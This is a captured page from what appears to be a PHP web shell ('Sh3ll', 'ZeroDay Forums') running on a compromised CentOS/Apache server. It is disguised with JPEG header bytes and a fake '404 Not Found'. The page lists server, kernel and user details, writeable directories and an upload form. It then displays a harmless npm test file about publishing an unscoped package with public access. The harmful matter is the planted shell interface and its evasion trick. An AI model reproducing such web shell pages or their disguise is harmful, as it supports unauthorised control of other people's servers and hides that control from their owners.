����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/npm/test/tap/publish-access-unscoped.js
var fs = require('fs')
var path = require('path')

var test = require('tap').test
var mr = require('npm-registry-mock')
var common = require('../common-tap')
var server

var pkg = common.pkg

test('setup', function (t) {
  mr({port: common.port, throwOnUnmatched: true}, function (err, s) {
    t.ifError(err, 'registry mocked successfully')
    t.pass('setup done')
    server = s
    t.end()
  })
})

test('unscoped packages can be explicitly set as public', function (t) {
  server.filteringRequestBody(function (body) {
    t.doesNotThrow(function () {
      var parsed = JSON.parse(body)
      t.equal(parsed.access, 'public', 'access level is correct')
    }, 'converted body back into object')
    return true
  }).put('/publish-access', true).reply(201, {ok: true})

  fs.writeFile(
    path.join(pkg, 'package.json'),
    JSON.stringify({
      name: 'publish-access',
      version: '1.2.5',
      public: true
    }),
    'ascii',
    function (er) {
      t.ifError(er, 'package file written')
      common.npm(
        [
          'publish',
          '--access', 'public',
          '--cache', common.cache,
          '--loglevel', 'silly',
          '--registry', common.registry
        ],
        {
          cwd: pkg
        },
        function (er) {
          t.ifError(er, 'published without error')

          server.done()
          t.end()
        }
      )
    }
  )
})

test('cleanup', function (t) {
  process.chdir(__dirname)
  server.close()
  t.end()
})

ZeroDay Forums Mini